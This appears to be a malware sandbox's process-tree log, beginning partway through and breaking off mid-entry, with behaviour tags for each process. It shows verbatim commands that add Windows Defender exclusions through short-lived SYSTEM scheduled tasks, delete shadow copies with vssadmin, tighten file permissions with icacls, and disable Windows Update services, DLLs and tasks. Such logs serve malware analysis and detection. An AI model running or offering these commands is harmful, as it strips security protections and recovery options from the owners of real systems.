  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3924
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3824
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5152
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2336
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4628
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4712
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2932
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1872
- C:\Program Files (x86)\Qhchik\w7hf9d.exe
  "C:\Program Files (x86)\Qhchik\w7hf9d.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:552
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:4176
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1540
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1004
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5276
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5856
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1488
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1892
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\w7hf9d.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\w7hf9d.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4800
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\w7hf9d.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3100
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\w7hf9d.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:468
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\w7hf9d.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5748
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\w7hf9d.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2444
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1876
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4224
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5656
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3940
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5784
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3328
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5876
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1716
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5820
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1108
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2664
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2956
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4912
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Qhchik\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2516
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Qhchik\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4336
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5224
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Qhchik\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Qhchik\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5124
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2936
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3128
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5492
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3276
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4424
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:1396
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4364
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3828
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:2864
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5128
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3080
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:784
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2952
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3368
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3952
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:5356
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4868
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4924
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4520
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:908
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2304
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:5936
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4932
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5208
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6060
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:572
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1480
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4156
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3816
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3444
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2012
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:6052
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4764
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5940
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3380
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1312
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3156
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5956
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5660
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:3432
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3504
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3096
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1276
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5312
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4160
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5516
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4604

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZEvd5r" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3452
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZEvd5r" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5348

C:\Users\Public\ZEvd5r\WuecnO.exe
"C:\Users\Public\ZEvd5r\WuecnO.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2724

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3804

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3448
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5064

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5372
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4600

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\System32\reg.exe
